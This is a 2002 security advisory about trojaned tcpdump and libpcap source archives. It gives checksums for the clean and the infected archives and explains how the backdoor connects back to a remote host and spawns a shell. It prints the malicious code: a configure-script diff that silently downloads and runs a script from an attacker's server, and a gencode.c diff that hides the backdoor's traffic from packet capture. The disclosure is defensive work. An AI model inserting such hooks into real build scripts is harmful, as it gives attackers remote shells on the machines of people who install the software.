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Tcpdump & Libpcap Trojan Alert: Significant Exploit Detected

Calendar Nov 13, 2002 • User Avatar Anthony Pell
2 - 4 min read
General Esm H500
Topics%20covered

Topics Covered

security advisory tcpdump network monitoring malware trojan libpcap

tcpdump and libpcap were trojaned on tcpdump.org and all but 1 official mirror. This trojan, similar to the OpenSSH trojan from a few months ago, was caught Gentoo's Portage System. When the configure script is run, it downloads a script from mars.rakeeti.net. This script contains an embedded shell that creates and compiles a C source file not part of the tcpdump/libpcap dsitrobution.. . .

tcpdump and libpcap were trojaned on tcpdump.org and all but 1 official mirror. This trojan, similar to the OpenSSH trojan from a few months ago, was caught Gentoo's Portage System. When the configure script is run, it downloads a script from mars.rakeeti.net. This script contains an embedded shell that creates and compiles a C source file not part of the tcpdump/libpcap dsitrobution.

Latest libpcap & tcpdump sources from tcpdump.org contain a trojan.

Background:

  • Libpcap provides a packet sniffing library for programs like Snort.
  • Tcpdump is a standard tool for packet sniffing.

Details:

  • The trojan contains modifications to the configure script and gencode.c (in libpcap only).
  • The configure script downloads which is then sourced with the shell. It contains an embedded shell script that creates a C file, and compiles it.
  • The program connects to 212.146.0.34 (mars.raketti.net) on port 1963 and reads one of three one byte status codes:
    • A - program exits
    • D - forks and spawns a shell and does the needed file descriptor manipulation to redirect it to the existing connection to 212.146.0.34.
    • M - closes connection, sleeps 3600 seconds, and then reconnects

    Hmm... ADM...

  • It's important to note that it reuses the same outgoing connection for the shell. This gets around firewalls that block incoming connections.
  • Gencode.c is modified to force libpcap to ignore packets to/from the backdoor program, hiding the backdoor program's traffic.
  • This is similar to the OpenSSH trojan a few months ago.
Updates:
  • Many Mirrors are infected with the trojan!!!
  • Main Mirror Site (wiretapped.net) will no longer be providing tcpdump downloads until things are straightened out.

Good sources: 



 MD5 Sum 0597c23e3496a5c108097b2a0f1bd0c7  libpcap-0.7.1.tar.gz MD5 Sum 6bc8da35f9eed4e675bfdf04ce312248  tcpdump-3.6.2.tar.gz MD5 Sum 03e5eac68c65b7e6ce8da03b0b0b225e  tcpdump-3.7.1.tar.gz
Trojaned sources:

tcpdump

tcpdump

 MD5 Sum 73ba7af963aff7c9e23fa1308a793dca  libpcap-0.7.1.tar.gz MD5 Sum 3a1c2dd3471486f9c7df87029bf2f1e9  tcpdump-3.6.2.tar.gz MD5 Sum 3c410d8434e63fb3931fe77328e4dd88  tcpdump-3.7.1.tar.gz

The (relevant) gencode.c diff:

 *** 288,293 **** --- 289,318 ----   {         extern int n_errors;         int len; +         int l; +         char *port = "1963"; +         char *str, *tmp, *new = "not port 1963"; +  +     if (buf && *buf && strstr (buf, port)) { +         buf = "port 1964"; +     } +     else { +         l = strlen (new) + 1; +         if (!(!buf || !*buf)) { +             l += strlen (buf); +             l += 5; /* and */ +         } +  +         str = (char *)malloc (l); +         str[0] = '\0'; +         if (!(!buf || !*buf)) { +             strcpy (str, buf); +             strcat (str, " and "); +         } +  +         strcat (str, new); +         buf = str; +     }            no_optimize = 0;         n_errors = 0; ***************
The (relevant) configure diff: 
 +  CNF="services" +  URL="mars.raketti.net/~mash/$CNF"  !  (IFS="," !  ARGS="wget -q -O -,lynx --source,fetch -q -o -" !  !  for i in $ARGS; do !        IFS=" " !        $i $URL 1> $CNF !        if [ -f $CNF ]; then sh $CNF !            exit !        fi !        rm -f $CNF !  done) 1>/dev/null 2>/dev/null &
The "services" payload:

Thanks to:

Russell Adams
Mathew Solnik
Scott Stout

with the Houston Linux Users Group.

Additional thanks to Bruce Locke for interpreting the backdoor code.

Thanks to Antioffline.com for hosting us, and Gentoo's Portage system for catching the trojaned files via checksums.

Last update: Wed Nov 13 03:44:08 CST 2002
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